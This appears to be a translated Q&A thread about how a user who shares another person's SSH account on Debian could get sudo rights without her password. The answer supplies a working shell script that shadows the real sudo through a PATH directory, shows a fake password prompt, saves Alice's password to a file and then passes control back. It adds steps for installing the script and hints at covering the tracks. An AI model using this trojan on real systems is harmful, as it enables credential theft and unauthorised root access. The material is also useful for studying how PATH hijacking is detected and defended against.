Obter privilégio sudo sem senha sudo

5

Contexto: Debian Linux.

Alice tem uma conta de usuário na máquina. Ela é uma das sudoers e tem uma senha segura. Ela acessa a máquina via SSH usando apenas uma chave SSH (a senha não funciona).

Por algum erro administrativo, Bob obtém acesso à mesma conta em vez de obter uma conta separada: sua chave SSH é adicionada a authorized_keys . Bob não recebe a senha de Alice.

Como o Bob poderia realizar um sudo com sucesso? Suponha que:

  • Bob não tem acesso ao servidor, exceto pelo acesso SSH à conta de Alice.
  • Alice se conectará à sua conta regularmente, fazendo o sudo, etc.

Eu assumo que isso não pode ser feito sem a cooperação de Alice. Assim, estou procurando por algum tipo de ataque de phishing ou engenharia social, como substituir o sudo por um alias que registrará a senha primeiro.

É basicamente um problema tradicional de escalonamento de raízes com o benefício adicional da cooperação com o usuário (sem conhecimento).

    
por vektor 19.10.2017 / 11:34

1 resposta

4

No passado, isso teria sido possível sem a ajuda de Alice, pois os tokens de sudo eram válidos nas sessões de terminal: Bob poderia apenas esperar que Alice autenticasse com sudo , então use sudo sem precisar insira uma senha.

Mesmo com tokens por terminal, a obtenção da senha de Alice é relativamente fácil no cenário descrito aqui, contanto que Alice não verifique seu ambiente completamente o tempo todo:

  • usando a conta de Alice, crie ~/.bin/sudo com algo como

    #!/bin/sh
    if [ $# = 0 ]; then exec /usr/bin/sudo; fi
    if [ ! -f ~/.bin/alices-password ]; then
      echo -n "[sudo] password for $USER: "
      read -s password
      echo
      echo ${password} > ~/.bin/alices-password
      sleep 2
      echo "Sorry, try again."
      /usr/bin/sudo -k
    fi
    exec /usr/bin/sudo "$@"
    
  • adicione ~/.bin ao caminho, no arquivo rc apropriado, dependendo de qual shell o Alice usa;

  • espere Alice usar sudo em um shell que percebeu a presença de ~/.bin/sudo ...

Bob pode esperar que uma senha apareça em ~/.bin/alices-password e tente ela mesma antes de desativar a variante especial (fazer isso de maneira discreta é deixado como um exercício para o leitor - lembre-se de que o shell armazena em cache caminhos ...) .

Existem algumas sutilezas no script acima, em particular sudo -k , que garante que "Desculpe, tente novamente" será seguido por sudo solicitando uma senha. O roteiro pode ser melhorado ainda mais, isso é outro exercício para o leitor!

Como você pode imaginar, essa não é a única abordagem ...

    
por 19.10.2017 / 13:16